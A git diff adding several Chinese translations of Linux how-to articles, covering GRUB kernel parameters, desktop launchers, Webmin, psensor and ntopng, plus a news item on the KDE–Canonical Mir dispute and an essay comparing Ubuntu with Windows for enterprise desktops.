对于一些 Web 服务,操作也简单:让你的 Web 浏览器访问到 OpenVPN 的 IP 地址然后登录进去。举个例子,我在我家的服务器上跑了多个 Web 服务做测试,我可以通过[http://10.0.0.1/drupal][2]访问 Drupal可以通过[http://10.0.0.1/owncloud][3]访问 OwnCloud。我电脑上有优秀的图形界面 FTP 客户端 gFTP所以只需要填入 IP 地址、用户名、密码就能访问到 FTP 服务器,或者使用下面的命令:
$ ftp 10.0.0.1 21
你可以远程管理你的 MySQL 数据库,输入帐号密码:
$ mysql -h 10.0.0.1 -u admin -p
所以最重要的是你要知道怎么去配置一个你想要玩的功能。
很显然当我们使用名称服务name service会比直接使用 IP 地址更方便。所以某一天我们可以学学如何在 OpenVPN 上布署一个名称服务。现在,先享受一下 OpenVPN 带给你的乐趣吧。
--------------------------------------------------------------------------------
via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2286-1.html
[2]:http://10.0.0.1/drupal
[3]:http://10.0.0.1/owncloud

View File

@ -0,0 +1,39 @@
如何在Ubuntu 13.10中给菜单添加图标
================================================================================
通常使用Ubuntu 13.10的用户会会对默认的程序、偏好和功能进行优化,才能得到更好的用户体验。
Ubuntu的用户体验是可以优化调整的因此用户可以通过一些工具来修改和调整那些默认设置比如使用Ubuntu Tweak。
默认情况下Ubuntu禁用了内部菜单的图标右键点击桌面打开右键菜单时菜单中只包含文本而且没有相应的图标。
不过在Ubuntu 13.10的菜单中添加图标是很简单的:
- 安装Ubuntu Tweak
sudo add-apt-repository ppa:tualatrix/ppa
sudo apt-get update
sudo apt-get install ubuntu-tweak
- 启动Ubuntu Tweak并导航到`Tweaks-->Miscellaneous`
- 选中 `Menus have icons`
**结果**:现在右键点击桌面,图标就会在菜单中显示, 图标显示也会在其他软件的右键菜单出现(例如, Nautilus, Firefox, Gedit中的菜单等等)。
![](http://iloveubuntu.net/pictures_me/menu%20icon%203%20ubuntu%2013.10.png)
![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%201.png)
![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%202.png)
这样在最常用的右键菜单中加上新增的图标,菜单会更加清晰和美丽,特别是使用单色图标菜单显示图标时。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/how-add-icons-menus-ubuntu-1310
译者:[Yu-Fei](http://blog.csdn.net/u011459130) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,54 @@
如何在linux上通过GRUB添加内核参数
================================================================================
我们可以在linux内核启动时为其提供各种各样的参数。这些参数可以自定义内核默认的行为或者通知内核关于硬件的配置信息。内核参数应在内核启动时通过引导装载程序如GRUB或LILO传递给内核。
在本教程中,我将会描述**如何在linux上通过GRUB添加内核参数**。
如果你在使用GRUB引导装载程序想修改或添加内核参数你可以编辑GRUB配置文件。下面是针对特定发行版在GRUB的配置文件中添加内核启动参数的方法。
### 在Debian或Ubuntu上添加内核启动参数###
在基于Debian的系统上如果你想在系统启动时添加内核参数你可以编辑 /etc/default/grub 目录下的GRUB配置模板。在 GRUB\_CMDLINE\_LINUX\_DEFAULT 变量中以 “name=value” 的格式添加内核参数。
$ sudo -e /etc/default/grub
> GRUB\_CMDLINE\_LINUX\_DEFAULT="...... name=value"
然后运行下面的命令来生成一个GRUB的配置文件。
$ sudo update-grub
如果无法找到 update-grub 命令,你可以通过下面的命令安装它。
$ sudo apt-get install grub2-common
### 在Fedora上添加内核启动参数 ###
在Fedora上想要在启动时添加内核参数你可以编辑 /etc/default/grub目录下的 GRUB 配置模板。在 GRUB\_CMDLINE\_LINUX 变量中以 “name=value” 的格式添加内核参数。
$ sudo -e /etc/default/grub
> GRUB\_CMDLINE\_LINUX="...... name=value"
然后运行下面的命令生成 GRUB2 配置文件。
$ sudo grub2-mkconfig -o /boot/grub2/grub.cfg
### 在CentOS上添加内核启动参数 ###
在CentOS上想要在启动时添加内核参数你可以直接编辑GRUB配置文件 /boot/grub/grub.conf。在配置文件中找到描述默认使用的Linux映像的条目。文件中最顶行的字符串 “default=N”会指示哪一个条目是默认的映像。
[![](http://farm8.staticflickr.com/7429/10618657834_8082c2806b_z.jpg)][1]
找到默认的映像条目后,在以 “kernel /vmlinuz-” 开头的那一段的结尾附加上内核参数。参数的格式为 “name=value” 。
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/add-kernel-boot-parameters-via-grub-linux.html
译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.flickr.com/photos/xmodulo/10618657834/

View File

@ -1,6 +1,4 @@
如何使用LibreOffice把DOCX, DOC, RTF, ODT 转换成PDF
如何使用LibreOffice把DOCX,DOC,RTF,ODT转换成PDF
================================================================================
在学校、公司、政府,或者是在网页传播的书籍、文档、报告、教程等等文档均被封装成各种格式。
@ -28,7 +26,7 @@
via: http://iloveubuntu.net/how-convert-docx-doc-rtf-odt-pdf-libreoffice
译者:[NearTan](https://github.com/NearTan) 校对:[校对者ID](https://github.com/校对者ID)
译者:[NearTan](https://github.com/NearTan) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,80 @@
如何在Linux的桌面上创建快捷方式或启动器
===
如果在Linux桌面系统中你经常使用一个程序你可能想去创建一个“桌面快捷方式”以便于你在桌面只要点击一下快捷方式就可以启动它。虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。
在这个教程里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。(译注:其实除了作者所述的这些方法外,各种桌面上也还有更简便的方法,大家可以评论分享自己的经验)
一个桌面快捷方式是由内含该APP元信息例如app的名字启动命令或者图标位置等的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储的桌面快捷方式每个用户都可以使用,而后一个目录则含有仅仅为特定用户创建的快捷方式。
###使用命令行创建桌面快捷方式
要为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件如下图所示。
[Desktop Entry]
Encoding=UTF-8
Version=1.0 #version of an app.
Name[en_US]=yEd #name of an app.
GenericName=GUI Port Scanner #longer name of an app.
Exec=java -jar /opt/yed-3.11.1/yed.jar #command used to launch an app.
Terminal=false #whether an app requires to be run in a terminal
Icon[en_US]=/opt/yed-3.11.1/icons/yicon32.png #location of icon file.
Type=Application #type
Categories=Application;Network;Security; #categories in which this app should be listed.
Comment[en_US]=yEd Graph Editor #comment which appears as a tooltip.
除了手动创建.desktop文件之外依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法接下来的教程我将为你讲解。
###在GNOME桌面下创建快捷方式
在GNOME桌面环境下你可以使用gnome-desktop-item-edit轻松创建创建一个桌面快捷方式。
$ gonme-desktop-item-edit ~/.local/share/applications --create-new
在这个例子中gnome-desktop-item-edit会在目录/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快捷方式图标或者其它信息你可以手动编辑.desktop文件。
如果在你的系统上gnome-desktop-item-edit不可用例如在Ubuntu上你可以依照下面方式安装
$ sudo apt-get install --no-install-recommends gnome-panel
###在KDE桌面创建快捷方式
kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新的应用启动快捷方式。
首先右击位于你桌面左下角处的kickoff图标然后选择菜单“编辑应用”。
[![](http://farm3.staticflickr.com/2839/10848506344_7949638fe0.jpg)][1]
在你要创建快捷方式的合适分类处(例如, "Utilities")右击,点击位于顶部的“新条目”按钮,键入应用的名字。
[![](http://farm8.staticflickr.com/7459/10848418496_ac6de897fe_z.jpg)][2]
最后填上使用快捷方式启动app时所需的元信息即可。
[![](http://farm8.staticflickr.com/7347/10848506284_18c8d9234d_z.jpg)][3]
###在xfce桌面上创建快捷方式
假如你使用xfce桌面在桌面空白处右击选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。
###在Cinnamon桌面上创建快捷方式
假如使用的是Linux Mint的Cinnamon桌面你可以在桌面空白处右击鼠标选择菜单“创建启动器”而创建一个应用启动器。
###在LXDE桌面上创建快捷方式
在LXDE桌面你只需在桌面空白处右击一下鼠标然后选择“创建新快捷方式”就可以咯。
[![](http://farm4.staticflickr.com/3725/10848922593_441ed98174.jpg)][4]
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/create-desktop-shortcut-launcher-linux.html
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.flickr.com/photos/xmodulo/10848506344/
[2]:http://www.flickr.com/photos/xmodulo/10848418496/
[3]:http://www.flickr.com/photos/xmodulo/10848506284/
[4]:http://www.flickr.com/photos/xmodulo/10848922593/

View File

@ -0,0 +1,87 @@
如何使用图形界面Webmin管理linux服务器
================================================================================
一台典型的linux服务器运行命令行环境中并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比就安全性、资源消费和速度来说仅需要少量的设置无疑是一个优点。
如果你习惯了使用基于图形界面的软件环境你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。
另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。
在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**
Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。
### Linux服务器上安装Webmin ###
在 Ubuntu 或 Debian 系统中安装Webmin 你可以使用如下命令。
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo dpkg -i webmin_1.660_all.deb
在CentOS 或 RHEL 系统中安装Webmin 使用如下命令:
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo rpm -U webmin-1.660-1.noarch.rpm
### 使用 Webmin ###
安装好Webmin之后你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。
同时, 请注意你应该使用 HTTPS 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。
一旦你进入了Webmin登录页面 你可以使用root身份登录 当然需要输入root账户密码或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。
[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4]
### Webmin 的特点 ###
Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍让你们大体了解它的一些重要功能。
设置引导时自动启动的服务, 同时显示他们相关配置信息。
[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5]
实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。
[![](http://farm6.staticflickr.com/5521/10937589676_a64d4eee57_z.jpg)][6]
配置 iptables-based firewall。
[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][7]
配置本地路由表和网关。
[![](http://farm6.staticflickr.com/5545/10937531925_a5d77384ac_z.jpg)][8]
挂载和配置文件系统。
[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][9]
通过文件管理接口来查看和修改本地文件但是这需要浏览器有相关的java插件。
[![](http://farm6.staticflickr.com/5544/10937531975_368196fd03_z.jpg)][10]
通过改变Webmin的相关配置你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。
[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][11]
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/manage-linux-server-gui.html
译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.webmin.com/
[2]:http://www.ispconfig.org/
[3]:http://www.zentyal.org/
[4]:http://www.flickr.com/photos/xmodulo/10937800943/
[5]:http://www.flickr.com/photos/xmodulo/10937589506/
[6]:http://www.flickr.com/photos/xmodulo/10937589676/
[7]:http://www.flickr.com/photos/xmodulo/10937801173/
[8]:http://www.flickr.com/photos/xmodulo/10937531925/
[9]:http://www.flickr.com/photos/xmodulo/10937589556/
[10]:http://www.flickr.com/photos/xmodulo/10937531975/
[11]:http://www.flickr.com/photos/xmodulo/10937532015/
[12]:http://www.webmin.com/standard.html

View File

@ -0,0 +1,111 @@
如何在Linux下监控系统温度
================================================================================
大多数情况下你无需担心你的电脑温度。除非制造上的缺陷否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障各种各样的软件问题也会导致硬件过热例如显卡驱动的严重bug风扇控制程序的错误配置CPU调频守护进程的故障等等。
严重的过热可能会对硬件造成永久性的伤害,所以应当时刻小心系统上的任何过热问题。因此,如果有合适的温度监控系统,能在系统温度突然急速上升时,第一时间向用户发出警报,岂不美哉?
本教程,我将描述**如何在Linux下监控系统温度**。
在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。
例如[lm-sensors][1],它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用;还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度;今天我们要介绍的是[psensor][4]这是一款前端图形化界面温度监测工具能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。
接下来我将描述如何设置psensor来监控CPUs和硬盘的温度。
### 在Linux 桌面系统中安装 psensor###
使用psensor可视化显示系统温度需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时一并安装这两款工具。
在Debian或Ubuntu下安装psensor:
$ sudo apt-get install lm-sensors hddtemp psensor
在Ubuntu下还可以通过PPA仓库安装最新版本的psensor
$ sudo add-apt-repository ppa:jfi/ppa
$ sudo apt-get update
$ sudo apt-get install lm-sensors hddtemp psensor
在Fedora下安装psensor
$ sudo yum install lm_sensors hddtemp
$ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make
$ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz
$ tar xvfvz psensor-0.8.0.3.tar.gz
$ cd psensor-0.8.0.3
$ ./configure
$ make
$ sudo make install
这里注意由于需要GTK3库的支持psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。
### 在Linux中配置 psensor ###
在启动 psensor之前你需要先配置lm_sensors和hddtemp。
#### lm_sensors 配置 ####
运行以下命令配置lm_sensors每一项都选择YES。
$ sudo sensors-detect
这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片),然后自动决定系统中哪个驱动模块需要载入并监测其温度。
一旦传感器检测完成,你需要把检测到的驱动模块添加到/etc配置中这样它们才可以在开机时自动加载。
![img](http://farm6.staticflickr.com/5476/10719567256_029533a588_z.jpg)
在Debian或Ubuntu下检测到的驱动模块将会被添加到/etc/modules。在Fedora下驱动信息会添加到/etc/sysconfig/lm_sersors。
接下来,继续加载必要的模块,如下:
Ubuntu:
$ sudo service module-init-tools start
Debian:
$ sudo /etc/init.d/kmod start
Fedora
$ sudo service lm_sensors start
#### hddtemp 配置 ####
你还需要启动hddtemp监控硬盘驱动器的温度。
运行下列命令作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。
$ sudo hddtemp -d /dev/sda
### 用 psensor 监控系统温度 ###
要启动psensor监测温度只需简单运行:
$ psensor
psensor窗口将显示一个可用的传感器列表并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。
[![](http://farm8.staticflickr.com/7448/10719475225_f89b6f7191_z.jpg)][5]
另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值时,你就能得到通知了。
![img](http://farm6.staticflickr.com/5534/10719755343_ba143454af_z.jpg)
psensor默认使用的温度单位是“摄氏度”最新的版本0.7-0.8支持在摄氏与华氏之间转换温度单位如果你用的版本比较旧例如0.6.x并且不支持温度单位转换Ubuntu用户可以通过PPA仓库来安装最新版的psensorDebian用户则可以通过源代码来安装。
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://lm-sensors.org/
[2]:http://www.guzu.net/linux/hddtemp.php
[3]:http://en.wikipedia.org/wiki/S.M.A.R.T.
[4]:http://wpitchoune.net/blog/psensor/
[5]:http://www.flickr.com/photos/xmodulo/10719475225/

View File

@ -0,0 +1,128 @@
如何在Linux上配置基于Web的网络流量监控系统
================================================================================
当你在本地网络监控网络流量,根据流量大小、监控平台/接口、数据库类型等等,可以有许多不同的选择。
[ntopng][1]是一套开源遵循GPLv3协议网络流量分析解决方案提供基于web界面的实时网络流量监控。支持跨平台包括Linux和MacOS X。ntopng类似于RMON远端网络监控代理具有内置的Web服务能力使用[Redis][2]键值服务按时间序列存储统计信息。你可以在任何指定的监控服务器上安装ntopng只需使用任一web浏览器就能实时访问服务器上的流量报告了。
本教程就来介绍**如何使用ntopng在Linux上配置基于Web的网络流量监控系统**
###ntopng的特性###
- 从数据流级别与协议级别对本地网络流量进行实时分析
- 支持域、AS自制系统与VLAN级别的统计分析
- 支持IP地址地理定位
- 支持基于“服务探索”例如Google、Facebook的深度报文检测DPI
- 历史流量分析(例如分别按照小时、日、周、月、年进行分析)
- 支持sFlow、NetFlowv5/v9版以及基于nProbe的IPFIX
- 网络流量矩阵(谁正在和谁谈话?)
- 支持IPv6
###在Linux上安装ntopng
官方网页上提供了针对[Ubuntu][3]和[CentOS][4]的二进制安装包。如果你使用的恰好是以上二者其一,并且懒得用源码安装,可以直接到官网下载二进制文件包安装,并忽略这一小节下面的内容。
如果你想通过[源码][5]安装最新的ntopng请继续往下看
如果你是Debian、Ubuntu或Linux Mint执行以下命令
$ sudo apt-get install libpcap-dev libglib2.0-dev libgeoip-dev redis-server wget
$ tar xzf ntopng-1.0.tar.gz
$ cd ntopng-1.0/
$ ./configure
$ make geoip
$ make
上面的几个步骤中“make geoip”将会自动通过wget从maxmind.com下载一个免费版的GeoIP数据库因此这里最好确保你的系统能联网。
如果你是Fedora
$ sudo yum install libpcap-devel glib2-devel GeoIP-devel
libxml2-devel redis wget
$ tar xzf ntopng-1.0.tar.gz
$ cd ntopng-1.0/
$ ./configure
$ make geoip
$ make
如果你是CentOS或RHEL首先[设置EPEL repository][6],然后再执行上面和[Fedora][7]一样的命令就可以。
###在Linux上配置ntopng###
ntopng安装完毕之后接下来新建一个ntopng配置目录然后按照下列命令准备默认的配置文件。这里我假设你的本地网络地址为C类“192.168.1.0/24”。
$ sudo mkir /etc/ntopng -p
$ sudo -e /etc/ntopng/ntopng.start
修改如下:
> --local-networks "192.168.1.0/24"
>
> --interface 1
$ sudo -e /etc/ntopng/ntopng.conf
修改如下:
> -G=/var/run/ntopng.pid
在运行ntopng之前要确认先启动redis刚才不说了redis为ntopng提供键值存储嘛~
在Debian、Ubuntu和Linux Mint上这样启动
$ sudo /etc/init.d/redis-server restart
$ sudo ./ntopng
在Fedora、CentOS和RHEL上这样启动
$ sudo service redis restart
$ sudo ./ntopng
ntopng默认监听TCP的3000端口使用下列命令加以确认。
$ sudo netstat -nap|grep ntopng
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 29566/ntopng
###基于Web界面的网络流量监控###
一旦ntopng成功运行就可以打开浏览器访问地址http://<你的主机IP地址>:3000
这时你会看到ntopng的登录界面。使用默认帐密“admin/admin”。
下面是一些截图。
**top流的实时可视化图像**
[![](http://farm4.staticflickr.com/3830/10487165303_8bf0b25668_z.jpg)][8]
**top主机的实时统计包括top协议和top AS数量**
[![](http://farm3.staticflickr.com/2886/10486988416_7c8770e823_z.jpg)][9]
**基于DPI的自动程序/服务探索生成的的实时数据报告**
[![](http://farm6.staticflickr.com/5500/10486988386_641608ecac_z.jpg)][10]
**历史流量数据分析**
[![](http://farm8.staticflickr.com/7379/10486995114_f0b58243a8_z.jpg)][11]
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/10/set-web-based-network-traffic-monitoring-linux.html
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.ntop.org/products/ntop/
[2]:http://redis.io/
[3]:http://apt.ntop.org/
[4]:http://rpm.ntop.org/
[5]:http://sourceforge.net/projects/ntop/files/ntopng/
[6]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html
[7]:http://xmodulo.com/go/fedora_guide
[8]:http://www.flickr.com/photos/xmodulo/10487165303/
[9]:http://www.flickr.com/photos/xmodulo/10486988416/
[10]:http://www.flickr.com/photos/xmodulo/10486988386/
[11]:http://www.flickr.com/photos/xmodulo/10486995114/

View File

@ -0,0 +1,34 @@
KDE和Canonical的关于Mir的冲突最终爆发了
================================================================================
KDE开发者和Canonical之间酝酿的冲突在一连串Mir显示服务器所造成的问题后最终爆发了。
KDE与Canonical尤其是Mark Shuttleworth有很深的交情。曾几何时在2006年Mark Shuttleworth是第一个赞助KDE的人人们总会像这样谈论这件事
“我毫不怀疑当你看到KDE4所带来的巨大潜能时你会知道你今天所做的是正确的。你是个真正有远见的人。这个世界需要更多的像你一样的人。”一位KDE社区成员所述。
而在七年之后Canonical宣布了一款新的显示服务器Mir而KDE、Kubuntu和Canonical社区的所有东西已经被丢到窗外。
[一篇由Mark Shuttleworth写的文章][1]最终成为了战争的导火索其中写道他将所有批判Mir显示服务器的人归类到一个虚拟的“茶派”在他看来这就是派系的而已。有很多人尤其是几个高级KDE开发者他们批判Mir他们在一开始就反对Mir。
KDE Plasma的开发者兼KDE组织主席亚伦·塞戈就这个问题向Mark Shuttleworth发起抗议。而[Canonical的创始人没有理睬][2]他的要求,这引起了一系列反应.
第二个反应来自一位Kwin的开发者和维护者Martin Gräßlin他说这基本上[可以跟Ubuntu社区说Goodbye了][3]。在他的Google+上跟Ubuntu社区经理Jono Bacon的对话已经占满了所有回帖.
“开源总是个很火爆的话题。有时候讨论时会带点粗鲁和不敬。难点是每个人对于粗鲁和无礼的定义是有区别的。就像,每个人对于好和坏行为评定是不同的” Jono Bacon在他帖子所述.
他对于Martin Gräßlin的决定表示遗憾但他也指出了Ubuntu的行为准则2.0,被打破了很多次已经很难计数了。
按照现在的情况KDE绝不会采用MirKubuntu可能带有配件也许Ubuntu风光的日子已经时日不多。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/KDE-and-Canonical-Conflict-Over-Mir-Finally-Bursts-into-Open-396651.shtml
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
[2]:http://news.softpedia.com/news/KDE-Developer-and-President-of-KDE-e-v-Upset-Because-Mark-Shuttleworth-Is-Ignoring-Him-396623.shtml
[3]:http://news.softpedia.com/news/Major-KDE-Developer-Says-Goodbye-to-Ubuntu-396429.shtml

View File

@ -0,0 +1,38 @@
Linux企业级桌面版Ubuntu Vs Windows
================================================================================
过去的10年中Linux的众多支持者几乎每年都预言当年会是“linux桌面版之年”。对微软主导的企业来说这曾经是一个崇高的目标但时代在变。在智能手机和云计算市场领域Linux已经发展壮大成为一个顽强的竞争对手打了微软一个措手不及。更重要的是GoogleIBMRed HatFacebook, 还有Netflix等公司正在对linux的研发创新投入巨资。
现在, 随着技术预算缩水微软授权费上涨IT界是时候应该认真考虑一下了部署桌面版Linux替代Windows。这是个最佳时机Windows 8.1刚发布Ubuntu 13.10也同时发布。对Windows XP的支持也只剩下5个月时间。IT公司需要切换到新的环境。Ubuntu利用企业的需求来支持他们桌面版操作系统的需求。我研究了几个促成向桌面版linux转换的因素包括培训和支持还有一些潜在的复杂性问题。
我知道Ubuntu已经失去了它曾经在开源社区享有的青睐。CanonicalUbuntu的开创者做出了几个不受欢迎的决策包括改变屏幕管理器linux图形界面的基本组件用内部开发的Mir替换掉Wayland。然而Ubuntu仍然是完全开源的并提供任何Linux发行版甚至Windows版本的软件安装起来最为省事。Canonical还提供付费支持这可能是企业级环境所需要的。
一直存在这样的争论如果切换到一个新的桌面的话最终用户需要再培训。微软做出了争议性决策针对Windows 8.1对熟悉的界面全面整改这种举措造成的影响就是比转向linux需要更多的培训。 Ubuntu Unity 桌面已经演变为用户友好的界面比之Windows 8.1,更易于被终端用户所理解。
例如比较一下用户在各个操作系统中关闭系统的方式。所有最近的Ubuntu版本关闭系统只需点击一下屏幕右上角打开-关闭的图标。Windows 8.1则需要右击开始按钮然后出现一个下拉菜单从中找到关闭电源的选项。相较于Windows 8这是个巨大的进步。Windows 8还得费劲去找相关的入口。总不如屏幕上只需一个图标来得直接。
多亏了许多流行的开源应用的Windows版本对使用这些应用软件的终端用户的培训过也不是什么复杂的任务。用户已经熟悉了Windows上的Firefox, LibreOffice, Pidgin, 以及VLC媒体播放器。用于商业的应用比如Skype和Adobe Acrobat功能实现跟Windows上的基本相同。基于云的应用比如Google Drive 和 Microsoft Office 365在Ubuntu上都可以正常使用。
传统的Windows应用程序可以通过熟悉的Citrix或者开源RDP的客户端来使用。公司也可以使用开源的虚拟产品比如VirtualBox运行一些顽固的老掉牙的Windows应用。
在最新硬件的支持上许多技术人员还记得在Linux刚刚起步的那些时日硬件支持极其有限。如今形势已经转变了。
如今对Linux的硬件支持通常比对最新的Windows版本的支持还要理想。许多硬件供应商已经放弃了对Windows新版本的驱动支持。Linux下的硬件驱动可以由开源社区的任何一个人维护更新因此许多支持许多旧的硬件在最新版Ubuntu中得到了完全的支持。有基于此再加上Ubuntu较低的系统需求公司可以延长都已经进了回收站的硬件的使用寿命。
虽然Linux的桌面替代品存在它的优势但是企业也应该考虑到一些潜在的困难。尽管许多技术人员正在使用linux也为学习新的技术而欢欣鼓舞但是仍有一部分技术人员用Windows进行开发工作很长时间了已经习惯了再去拥抱新的变化对他们来说或许不是那么得情愿。
援引薪酬增长的趋势是一个解决潜在的问题的办法。相比于其他专业技术人员要求Linux技能的职位薪酬上涨近一倍的速度这是来自Dice的说法。
对严格遵守合规性的公司来说切换到Linux可能会遇到困难。例如HIPAA要求加密以满足FIPS-140-2的要求。大多数开源加密项目没有赞助商帮助他们通过NIST认证以满足这一要求。开源代码实际上可能因为有许多人已审查会比专有软件更安全但令人惊讶的是在合规性的世界中这一点无关紧要。
在决定全面迁移之前企业需要了解他们的规则要求并制定一个计划培训IT人员。但总体而言相比于企业级私有操作系统作为一个切实可行的选择Ubuntu Linux已然成熟。考虑到版权费用的花销公司在Linux桌面替换项目中的投入是值得的。下一年或许就是“linux桌面版之年”。
> 本文作者Joseph Granneman拥有超过20年的技术经验主要专注于医疗信息技术。他伊利诺伊州罗克福德骨科协会的CIO医疗保健信息技术和信息安全领域一个活跃的独立作家、主持人和教授。Granneman一直活跃在许多的组织群体包括发展健康信息交换的早期框架该框架是伊利诺斯州的保健信息安全和隐私安全工作组的一部分。他也是健康信息技术认证委员会CCHIT安全工作组的一名志愿者该工作组负责制定ARRA认证的电子病历信息安全标准。
--------------------------------------------------------------------------------
via: http://www.networkcomputing.com/data-networking-management/linux-desktop-in-the-enterprise-ubuntu-v/240163564
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,59 @@
快来尝尝肉桂新口味儿Mint 16现已加入肯德基豪华午餐~
================================================================================
经过6个月艰苦卓绝的开发工作Linux Mint开发组终于发布了更加稳定可靠的[Linux Mint 16版本代号Petra 肉桂版Cinnamon Edition][1]。此次发布的Linux Mint包括了软件升级、新增功能以及多个bug修复。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/linux_mint16.png)
